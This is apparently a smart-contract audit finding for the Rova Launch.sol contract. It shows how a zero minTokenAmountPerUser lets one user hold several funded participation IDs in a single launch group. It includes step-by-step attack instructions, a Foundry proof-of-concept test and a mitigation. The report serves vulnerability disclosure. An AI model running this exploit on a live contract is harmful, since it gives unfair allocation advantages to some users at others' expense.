Unique Purple Guppy

High

# Loophole in the Launch solidity contract can enable users to have multiple valid participant ids in same launch group even though finalizes at participation is false for the launch group.

### Summary

There is a flaw in the launch solidity contract that can be used as a loophole to enable users to have multiple valid participant ids in same launch group  even though finalizes at participation is false for the launch group.

Protocol has kept  "Finalize at participation" flag in the launch group setting to ensures that users can have one valid participant id per launch group if this flag is false. Second participation for same user is not allowed if this flag is false and another participation has user tokens associated with it. User can update the participation with new participation id but cannot have two participations at the same time if this flag is false. This is coded in the participate function of Launch.sol through a check as shown in codelines below -

https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L241-L249

```solidity
        // If launch group does not finalize at participation, users should perform updates instead
        // This is checked by checking if the user has already requested tokens under the launch group
        EnumerableMap.Bytes32ToUintMap storage userTokens = _userTokensByLaunchGroup[request.launchGroupId];
        (, uint256 userTokenAmount) = userTokens.tryGet(request.userId);
        if (userTokenAmount > 0) {
            if (!settings.finalizesAtParticipation) {
                revert MaxUserParticipationsReached(request.launchGroupId, request.userId);
            }
        }

```

However there is a way to circumvent this check.

Functions createLaunchGroup , setLaunchGroupSettings allow minTokenAmountPerUser to be set as 0. If Manager knowingly/unknowingly sets this value as zero, the check in Launch.sol can be bypassed and can allow users to create multiple participant ids with valid tokenamount, currency amount (see POC for replication of this issue). 

Some users thus can have advantage in winner selection as there are multiple participant ids associated with them.

This loophole must be eliminated.

### Root Cause

Root cause of this issue is - 

Functions createLaunchGroup , setLaunchGroupSettings allow minTokenAmountPerUser to be set as 0. This can allow user to first participate with 0 tokens, then participate with N tokens and finally update first participation also to N tokens (see POC for details).

https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L698-L719

https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L750-L772

### Internal Pre-conditions

Manager need to set minTokenAmountPerUser as 0 for launch group id using createLaunchGroup / setLaunchGroupSettings


### External Pre-conditions

1. Participant need to obtain launchParticipation ids from protocol backend.
2. Signer need to sign transactions.

### Attack Path

STEP 1 - Set up a launch using the same set up as done in the protocol test scripts. finalizesAtParticipation is set as false.

STEP 2 - Manager (knowingly/unknowingly) creates Launch group WITH minTokenAmountPerUser as 0. Notice that protocol smart contract allows this.

STEP 3 - User creates participation request using Participate Function of Launch.sol with tokenAmount as zero. Notice that the request goes through as minTokenAmountPerUser  for launch group is set as 0.

STEP 4 -  User creates "new participation request" by obtain a participant id from protocol . User uses Participate function of Launch.sol again. This time a valid token amount is included. Notice that the request goes through even though finalize at perticipation is set to false.

STEP 5 - User now has two participant ids in the same launch group even though finalize at participation is set to false.However the first one does not have token or currency associated with it. User now uses that participation id as pervious id to obtain a new participant id from protocol and updates the first participation request.

STEP 6 - Verify that even though finalize participation is false, there are two participation ids for user which  have non zero tokens and currency.

Manager can now set  minTokenAmountPerUser to a non-zero value. Some users would have already got unfair advantage as they have multiple participation ids with valid amounts.



### Impact

Protocol smart contract has a loophole which can be manipulated to give some users an advantage (when finalizesAtParticipation is false) by providing them multiple participant ids. This is a loophole which must be plugged. 

### PoC

```solidity
// Create a test contract in the test folder of repo. And paste this code in the test contract and run the test with -vvv. Notice logs. 
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.22;

import {IERC20Errors} from "@openzeppelin/contracts/interfaces/draft-IERC6093.sol";
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import {Test, console} from "forge-std/Test.sol";
import {VmSafe} from "forge-std/Vm.sol";
import {LaunchTestBase} from "./LaunchTestBase.t.sol";
import {Launch} from "../src/Launch.sol";
import {LaunchGroupSettings, LaunchGroupStatus, ParticipationRequest, UpdateParticipationRequest, ParticipationInfo, CurrencyConfig} from "../src/Types.sol";

contract LaunchMultipleParticipations is Test, Launch, LaunchTestBase {
    // STEP 1 - Set up a launch using the same set up as done in the protocol test scripts. finalizesAtParticipation is set as false.
    function setUp() public {
        _setUpLaunch();
    }

    function testMultipleParticipationsWithNonZeroTokensPossibleForSameUser_EvenWhenFinalizePaticipationIsFalse()
        public
    {
        // STEP 2 - Manager (knowingly/unknowingly) creates Launch group WITH minTokenAmountPerUser as 0.
        // Notice that protocol smart contract allows this.
        CurrencyConfig memory currencyConfig = CurrencyConfig({
            tokenPriceBps: 1 * 10 ** currency.decimals(),
            isEnabled: true
        });

        LaunchGroupSettings memory settings = LaunchGroupSettings({
            finalizesAtParticipation: false,
            startsAt: block.timestamp,
            endsAt: block.timestamp + 1 days,
            maxTokenAllocation: 10000 * 10 ** launch.tokenDecimals(),
            minTokenAmountPerUser: 0, // minTokenAmountPerUser as 0
            maxTokenAmountPerUser: 5000 * 10 ** launch.tokenDecimals(),
            status: LaunchGroupStatus.ACTIVE
        });

        vm.startPrank(manager);
        launch.createLaunchGroup(
            testLaunchGroupId,
            address(currency),
            currencyConfig,
            settings
        );
        vm.stopPrank();

        // STEP 3 - User creates participation request with tokenAmount as zero.
        // Notice that the request goes through as minTokenAmountPerUser  for launch group is set as 0.

        ParticipationRequest memory request = ParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            launchParticipationId: testLaunchParticipationId,
            userId: testUserId,
            userAddress: user1,
            tokenAmount: 0,
            currency: address(currency),
            requestExpiresAt: block.timestamp + 1 hours
        });
        bytes memory signature = _signRequest(abi.encode(request));

        vm.startPrank(user1);

        uint256 currencyAmount = _getCurrencyAmount(
            request.launchGroupId,
            request.currency,
            request.tokenAmount
        );
        currency.approve(address(launch), currencyAmount);

        launch.participate(request, signature);

        vm.stopPrank();

        // STEP 4 - User creates "new participation request" by obtain a participant id from protocol .
        // This time a valid token amount is included.
        // Notice that the request goes through even though finalize at perticipation is set to false.

        ParticipationRequest memory newRequest = ParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            launchParticipationId: "newParticipationId",
            userId: testUserId,
            userAddress: user1,
            tokenAmount: 100 * 10 ** launch.tokenDecimals(),
            currency: address(currency),
            requestExpiresAt: block.timestamp + 1 hours
        });
        signature = _signRequest(abi.encode(newRequest));

        vm.startPrank(user1);

        currencyAmount = _getCurrencyAmount(
            newRequest.launchGroupId,
            newRequest.currency,
            newRequest.tokenAmount
        );
        currency.approve(address(launch), currencyAmount);

        launch.participate(newRequest, signature);

        vm.stopPrank();

        // STEP 5 - User now has two participant ids in the same launch group even though finalize at perticipation is set to false.
        // However the first one doesnt have token or currency associated with it. User now uses that participation id as pervious id to obtain a new participant id from protocol
        // and updates the first participation request.

        UpdateParticipationRequest
            memory updateToOriginalRequest = UpdateParticipationRequest({
                chainId: block.chainid,
                launchId: testLaunchId,
                launchGroupId: testLaunchGroupId,
                prevLaunchParticipationId: testLaunchParticipationId,
                newLaunchParticipationId: "anotherParticipationId",
                userId: testUserId,
                userAddress: user1,
                tokenAmount: 250 * 10 ** launch.tokenDecimals(),
                currency: address(currency),
                requestExpiresAt: block.timestamp + 1 hours
            });

        signature = _signRequest(abi.encode(updateToOriginalRequest));

        vm.startPrank(user1);

        currencyAmount = _getCurrencyAmount(
            updateToOriginalRequest.launchGroupId,
            updateToOriginalRequest.currency,
            updateToOriginalRequest.tokenAmount
        );
        currency.approve(address(launch), currencyAmount);

        // Update to Original Participation Id
        launch.updateParticipation(updateToOriginalRequest, signature);

        vm.stopPrank();

        // STEP 6 - Verify that even though finalize participation is false, there are two participation ids for user which
        // have non zero tokens and currency.

        ParticipationInfo memory participation1 = launch.getParticipationInfo(
            "anotherParticipationId"
        );

        ParticipationInfo memory participation2 = launch.getParticipationInfo(
            "newParticipationId"
        );

        // Finalizes at participation is false for for launch group id
        assertTrue(
            launch
                .getLaunchGroupSettings(testLaunchGroupId)
                .finalizesAtParticipation == false
        );

        // User Ids are same for both participations
        assertEq(participation1.userId, participation2.userId);

        // User Token Amounts greater than 0 for both participations
        assertTrue(participation1.tokenAmount > 0);
        assertTrue(participation2.tokenAmount > 0);

        // Currency Amounts greater than 0 for both participations
        assertTrue(participation1.currencyAmount > 0);
        assertTrue(participation2.currencyAmount > 0);

        console.log("User Id for participation 1 - ");
        console.logBytes32(participation1.userId);

        console.log("User Id for participation 2 - ");
        console.logBytes32(participation2.userId);

        console.log("User Tokens for participation 1 - ");
        console.log(participation1.tokenAmount);

        console.log("User Tokens for participation 2 - ");
        console.log(participation2.tokenAmount);

        console.log("User Currency for participation 1 - ");
        console.log(participation1.tokenAmount);

        console.log("User Currency for participation 2 - ");
        console.log(participation2.tokenAmount);
    }
}


```

### Mitigation

This can be avoided by a simple non-zero check on minTokenAmountPerUser in functions createLaunchGroup  and setLaunchGroupSettings. 
minTokenAmountPerUser must  not be zero.